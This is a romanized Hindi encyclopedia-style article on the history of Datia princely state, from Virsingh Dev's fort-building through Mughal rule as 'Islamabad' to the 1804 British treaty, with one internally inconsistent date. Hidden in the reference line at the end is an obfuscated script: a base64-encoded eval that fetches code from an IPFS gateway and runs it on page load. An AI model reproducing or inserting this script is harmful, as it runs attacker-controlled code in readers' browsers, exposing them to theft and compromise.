दतिया रियासत
datiya riyasat bharat ki deshi riyasat thi. datiya ka itihas virasianh dev ke shasan kal se prarambh hota hai. virasianh dev buandela ne san 1618 mean pratapagadh ka nirman karaya tha, jisamean purane mahal se lekar bharatagadh tak ki anekoan bhavy imaratean shamil thian. usake parakote ke avashesh aj bhi datiya nagar ke bichoan-bich maujood haian. isake alava qile ke bahar kee talab tatha kee bhavanoan ka nirman karaya gaya tha. in sabake nirman ke lie hajaroan ki sankhya mean majadoor, karigar, ianjiniyar, chitrakar asthaee roop se qile mean bas ge the. unaki avashyakataoan ki poorti ke lie yahaan bajar lagane laga tha, jise katara kahate the. abdul hamid lahauri ke 'badashahanama' mean ek hath ka bana chitr shamil hai. yah chitr us samay ka hai, jab shahajahaan buandelakhand mean aya tha. usaki prishthabhoomi mean ek qila darshaya gaya hai, vah qila pratapagadh hi hai. chitr ke shirshak mean orachha likha hai, lekin vah orachha ke qile se bilakul nahian milata, isake viparit datiya nagar mean purane qile ke jo bhavan aur avashesh haian vah unase milata hai.[1]
virasianh dev ki mrityu san 1627 mean ho gayi. unaki mrityu ke karan sara nirman kary ruk gaya. purane mahal ka mukhy dvar, samane ke kone ki do minarean tatha bhittichitr kuchh hi kamaroan mean ho paye shesh adhoore rah ge. asapas ki kuchh imaratean bhi adhoori rah geean. bad mean ghatanakram kuchh is tarah ghata ki bachakhucha nirman kary poora nahian ho paya. nirman kary mean lage majadoor, karigar, ianjiniyar, chitrakar adi jo kile mean asthaee roop se rah rahe the, sthaee roop se bas ge. aj bhi unake vanshaj base huye haian aur unake nam se gali, mohalle maujood haian- jaise kamanigar ki gali, beladaroan ka muhalla, bhatiyara pura adi. virasianh dev ke bad jujharasianh orachha ki gaddi par baitha. isake kuchh samay bad mugal badashah jahaangir ka nidhan ho gaya. shahajahaan ne gaddi par baithate hi buandelakhand par do akraman kiye. pahala akraman 1628 ee. mean hua, jisamean karaira ka paragana buandeloan ke hath se nikal gaya. doosara akraman 1635 ee. mean hua, jisamean jujharasianh apane parivar sahit mara gaya aur orachha par shahajahaan ka qabza ho gaya. usane siandh nadi se laga hua bhag orachha se alag kar mugal sampatti ghoshit kar diya, jisamean b dauni, katara (pratapagadh ka qila) tatha bhander shamil tha. usane katara ka nam badalakar islamabad rakh diya tatha isamean erach, bhander tatha naravar ka ilaka milakar ise agara sooba ke aantargat sarakar (sanbhag) ka darja dekar baqi khan ko isaka phaujadar niyukt kar diya.
jhaansi ka gavarnar raja viththaladas gaur ke chhote bhaee giradharadas ko banaya. san 1636 mean champatarav ne orachha par adhikar kar liya, aisi sthiti mean katara asurakshit ho gaya. tab abdulla khaan phirozajang ko divan, bahadur khan ruhela ko kiledar niyukt kar baqi khan ko phaujadar yathavat banaai rakha. (in tinoan ke vanshaj aj bhi datiya mean nivas karate haian.) abdulla khaan champataray ke akraman ko rok nahian saka, isiliye shahajahaan ne san 1631 mean use hatakar bahadur khan ruhela ko divan banaya. lekin bad mean buandelakhand se sarokar rakhane valoan ne badashah ko is bat se sahamat kar liya ki buandelakhand ko ruhelakhand mean badalana uchit nahian hai. badashah ne unaki salah manakar bahadur khan ruhela ko hatakar bhagavanadas buandela ko divan niyukt kar diya.[1]
1640 ee. mean champataray ke akraman ke dauran ek rajapoot ne bhagavanadas buandela ka qatl kar diya. us samay aurangazeb dakshin ka soobedar tha, usane viparit paristhitiyaan dekhakar bhagavanadas ke alpavayask l dake shubhakaran ko apane pas dakshin mean bulava liya tatha agali vyavastha hone tak ke lie islamabad ka prabhar orachha ke raja paha d sianh ko sauanp diya. vayask hone par san 1656 mean shubhakaran ko islamabad ka divan niyukt kiya gaya. 1683 mean shubhakaran ki mrityu ke bad unaka l daka dalapatarav divan bana. 1686 mean marathoan se hue yuddh mean vijay prapt karane par unhean 'rav' ki upadhi aur islamabad ki jagir mili. dalapatarav ne islamabad nam ko kabhi svikar nahian kiya. ve apani sanadoan mean islamabad ki jagah bhaander nam ka ullekh karata tha. jagir mil jane ke bad usane islamabad ka nam badalakar 'dalip nagar' rakh diya, jo unaka hi nam tha. 19 julaee, 1707 mean jajoo ke yuddh mean unaki mrityu ho gayi. unaki mrityu ke bad ramachandr, usake bad san 1736 mean iandrajit dalip nagar ke jagiradar hue. iandrajit ke samay mean mugal samrajy lagabhag samapt ko chuka tha. mugal badashah shahalam, jisaka rajy lal qile se palam tak tha, usako najarana dekar iandrajit ne raja ki upadhi prapt ki. tab se vah aur unake uttaradhikari raja kahalane lage. indrajit ke shasanakal mean marathoan ke akraman hone lage the. unhoanne aur unake bad unake putr shatrujit ne dalip nagar ka astitv banaye rakha. san 1801 mean parichhat raja hue. unhoanne 15 march, 1804 mean aangrezoan se sandhi kar aangrezi rajy ki shuruat ki.
1881 ee. mean impiriyar gazetiyar aauf iandiya ke prakashan ke lie viliyam iravin ko deshi rajyoan ke itihas ki janakari prapt karane ke lie niyukt kiya gaya. use jo janakari di gayi, vah usane gazetiyar mean shamil kiya. usane gazetiyar mean sabase pahale datiya ka ullekh kiya, tab se shasakiy rik aaurd mean dilip nagar ki jagah datiya ka prayog hone laga. bad mean impiriyar gajetiyar ke adhar par datiya stet gajetiyar bana, jisamean datiya ke itihas ka varnan hai. usi ke adhar par any itihasakaroan ne datiya ke itihas ki rachana ki jo vartaman mean prachalit hai. usake anusar virasianh dev ne san 1626 mean apane l dake bhagavan rav ko badauni tatha datiya ka rajy diya tha, tab se vah aur usake bad unake uttaradhikari datiya par rajy kar rahe haian. isake viparit orachha gajetiyar ke anusar san 1635 mean datiya orachha se alag hua tha. isaka sidha arth yah hua ki san 1635 mean shahajahaan ne orachha par akraman kar datiya ko orachha se alag kar diya tha. tamam aitihasik tathy tatha sthal sakshy orachha gajetiyar ka samarthan karate haian, datiya gajetiyar ka nahian.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 datiya ka madhyakalin itihas (hindi) jaijakbhukati.blogspot.com. abhigaman tithi: 06 sitambar, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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